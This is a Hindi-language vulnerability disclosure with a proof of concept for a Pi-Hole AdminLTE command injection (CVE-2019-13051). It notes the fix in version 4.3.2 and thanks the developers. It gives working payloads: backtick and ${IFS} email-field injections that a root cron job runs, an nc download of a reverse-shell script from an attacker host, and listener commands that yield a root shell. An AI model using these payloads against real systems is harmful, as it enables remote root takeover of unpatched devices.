
Pi-Hole AdminLTE कमांड इंजेक्शन (CVE-2019-13051) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो ईमेल फ़ील्ड इंजेक्शन और क्रॉन-आधारित निष्पादन के माध्यम से रिमोट रूट एक्सेस सक्षम करता है।
Pi-Hole संस्करण 4.3.2 में इस कमजोरी का पैच शामिल है: https://github.com/pi-hole/AdminLTE/pull/974
Pi-Hole डेव टीम को उनके शानदार प्रोजेक्ट और इस कमजोरी की रिपोर्ट करना इतना आसान बनाने के लिए बहुत-बहुत धन्यवाद!
"AdminLTE" घटक पर वर्णित कमजोरियों के माध्यम से RaspberyPi डिवाइस (या जिस भी डिवाइस/VM पर एप्लिकेशन चल रहा है) पर दूरस्थ रूप से रूट एक्सेस प्राप्त करना संभव है। इसका शोषण करने के लिए AdminLTE वेब इंटरफेस तक प्रशासनिक पहुंच/क्रेडेंशियल आवश्यक हैं।
अधिक विस्तार से, नियमित अभिव्यक्ति (रेगेक्स) जांचों को दरकिनार करना और "Administrator E-mail Address" फ़ील्ड को मनमाने कमांड(ों) से दूषित करना संभव है। ये बदले में "/etc/pihole/setupVars.conf" में संग्रहीत होते हैं, जिन्हें बाद में 10 मिनट के cron.d कार्य “/usr/local/bin/pihole updatechecker local” द्वारा रूट विशेषाधिकारों के साथ पार्स और निष्पादित किया जाता है।
कमांड/कोड निष्पादन के लिए एक हमलावर को cron कार्य "/etc/cron.d/pihole" के 10 मिनट के अंतराल की प्रतीक्षा करनी पड़ती है।
उम्मीद है कि निम्नलिखित विवरण और PoC इस मुद्दे के सत्यापन और पुनरुत्पादन में आपकी सहायता करेंगे।
वेब-एप्लिकेशन में प्रमाणीकरण के बाद कुछ सर्वर-साइड सत्यापन होते हैं, जिन्हें एक हमलावर को सफलतापूर्वक कमांड इंजेक्ट करने के लिए दरकिनार करना आवश्यक होता है।
"savesettings.php" L:499 पर, उपयोगकर्ता-नियंत्रित चर "$adminemail" का मूल्यांकन PHP के आंतरिक FILTER_VALIDATE_EMAIL फ़ंक्शन के विरुद्ध किया जाता है, जिसकी जाँचें अपेक्षाकृत कमजोर हैं।
इसके बाद इस सत्यापन जांच को दरकिनार करना और कमांड इंजेक्शन साबित करना संभव है, उदाहरण के लिए डबल-कोट्स में बैक टिक्स का एक सेट समाहित करके, प्रशासक के ई-मेल के रूप में निम्नलिखित दर्ज करें:
"`test>/tmp/poc_proof.txt`"@example.com

10 मिनट के भीतर "/tmp/poc_proof.txt" में रूट विशेषाधिकारों के साथ "test" युक्त एक रूट-स्वामित्व वाली फ़ाइल बन जाएगी।

किसी भी आगे के सार्थक हमले को अंजाम देने के लिए व्हाइटस्पेस की सीमा को भी दरकिनार करना आवश्यक है (जो मान्य ई-मेल अक्षर नहीं हैं और FILTER_VALIDATE_EMAIL फ़ंक्शन द्वारा पकड़े जाते हैं)। इसके लिए, आंतरिक linux चर ${IFS} का उपयोग किया गया (जो अधिकांश unix os में डिफ़ॉल्ट रूप से व्हाइटस्पेस होता है)।
PoC:
*नोट: इसे POSIX शेल ग्रामर यानी &&, || ... का उपयोग करके 1-लाइनर के साथ स्वचालित किया जा सकता है।
nc -nvlp 4444 < revshell.py
"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

HTTP प्रॉक्सी से जांच करने पर HTTP अनुरोध इस प्रकार दिखेगा:

क्रॉन कार्य चलने और स्क्रिप्ट प्राप्त करने के लिए 10 मिनट प्रतीक्षा करें या पुनरुत्पादन उद्देश्यों के लिए मैन्युअल रूप से /usr/local/bin/pihole updatechecker local चलाएँ। आप "/etc/pihole/setupVars.conf" में स्थित इंजेक्टेड कमांड को भी सत्यापित कर सकते हैं (जो ADMIN_EMAIL चर को सौंपा गया पाया जाता है)
nc -nvlp 4445
“`python${IFS}/tmp/revshell.py`”@example.com
एक बार फिर 10 मिनट प्रतीक्षा करें (या मुद्दे के पुनरुत्पादन उद्देश्यों के लिए क्रॉन स्क्रिप्ट को मैन्युअल रूप से निष्पादित करें) और आपको अपनी हमला करने वाली मशीन पर रूट शेल प्राप्त होगा।
